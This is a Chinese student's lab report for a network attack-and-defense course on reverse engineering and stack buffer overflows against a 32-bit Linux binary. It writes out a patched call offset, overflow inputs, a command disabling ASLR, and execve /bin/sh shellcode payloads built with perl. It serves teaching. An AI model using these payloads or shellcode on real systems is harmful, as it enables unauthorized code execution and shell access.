20192410 2021-2022-2 《网络与系统攻防技术》实验一逆向破解与BOF实验报告
20192410 2021-2022-2 《网络与系统攻防技术》实验一逆向破解与BOF实验报告
1.实验内容
本次实验的目标文件中含有getshell代码片段,会返回一个shell,正常情况下该程序不会执行getshell部分。本次实验会利用两种方法去运行getshell部分,以及注入任意shellcode的方法。
2.实验过程
-
直接修改机器指令
首先通过反汇编指令objdump查看该文件,并找到main函数部分
![]()
![]()
可以看到main函数中用call指令调用了foo,其中e8为call指令的机器码。程序运行到call时,eip中为下一条指令的地址,即80484ba,e8后接的d7ffffff加上82484ba就是call指令调用函数的地址。不过要注意这里的d7ffffff为补码,求得真值为-29,加上80484ba为8048491,正是图中foo函数的地址。所以我们只要将这里的d7ffffff修改为合适的值,让其加上80484ba后为getshell的地址就可以实现执行getshell的目标。经过计算,将d7修改为c3即可。
用vi打开文件,用指令 :%!xxd 将显示模式切换为16进制后找到d7的位置并进行修改。
保存退出后执行修改后的代码,效果如下:
![]()
-
通过构造输入参数,造成BOF攻击,改变程序执行流
![]()
通过反汇编可知,调用foo函数时系统只预留了28个字节的缓冲区。因为我们的目标是覆盖返回地址,所以还要加上4字节的ebp,即我们输入的第33-36字节会覆盖返回地址。接下来我们运行该程序,输入1111111122222222333333334444444455555555,并打开另一个终端利用gdb进行验证。
![]()
从图中我们可以看到ebp寄存器中是四个4,eip位置为四个5,所以我们只需要将那四个5的位置修改为getshell的地址即可。通过之前的反汇编可知getshell的地址为0804847d,又因为是小端序,所以正确输入为: 11111111222222223333333344444444\x7d\x84\x04\x08。
因为键盘无法输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。再通过指令xxd(16进制查看指令)查看内容是否符合预期。
![]()
然后将input的输入,通过管道符“|”,作为pwn1的输入。
![]()
-
注入shellcoded并执行
(1)准备一段shellcode
(2)关闭地址随机化
echo "0" > /proc/sys/kernel/randomize_va_space
(3)构造payload,结构为:nops+shellcode+retaddr
nop区除了填充,还可以作为“着陆区/滑行区”,只要我们猜测的返回地址落在任一nop上,自然会滑到shellcode。
同样先生成一个文件
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
接下来确认\x4\x3\x2\x1填什么
打开一个终端注入,再打开一个文件用gdb调试
先找到进程号,再在ret处设置断点,接着查看寄存器信息,找到90
![]()
![]()
将1234改为90的地址,运行文件注入,但是失败了
![]()
(4)尝试另一个结构:anything+retadr+nops+shellcode
这次的字符串为:
perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
同上操作,这次的shellcode地址紧跟着1234
![]()
修改字符串后运行,这次成功了。
![]()
3.问题及解决方案
- 问题1:进行第一种方法直接修改机器指令时不能成功
- 问题1解决方案:最后发现是因为修改的地址是算出数的补码而不是真值,计算其对应的补码即可。
- 问题2:为什么注入shellcode时第一种结构不行。
- 问题2解决方案:在刘老师的视频中,通过单步调试后,认为问题可能是代码也在堆栈上,当前栈顶也在这,一push就把指令自己给覆盖了。但是我认为也可能是因为我的堆栈执行保护并没有关闭。
4.学习感悟、思考
通过这次实验,我通过直接修改机器指令、构造输入参数实现BOF攻击、注入shellcode三种由浅入深的方法对栈溢出攻击有了一定的了解。虽然在刘老师的讲解下实验完成的还是较为顺利的,但是其中涉及到的汇编、Linux、栈的相关知识的掌握我还是较为欠缺的。而且本次实验也是在诸多有利条件下(关闭堆栈执行保护、关闭地址随机化、x32环境下、Linux环境)进行的,对于栈溢出攻击我还有很多需要去了解掌握。













浙公网安备 33010602011771号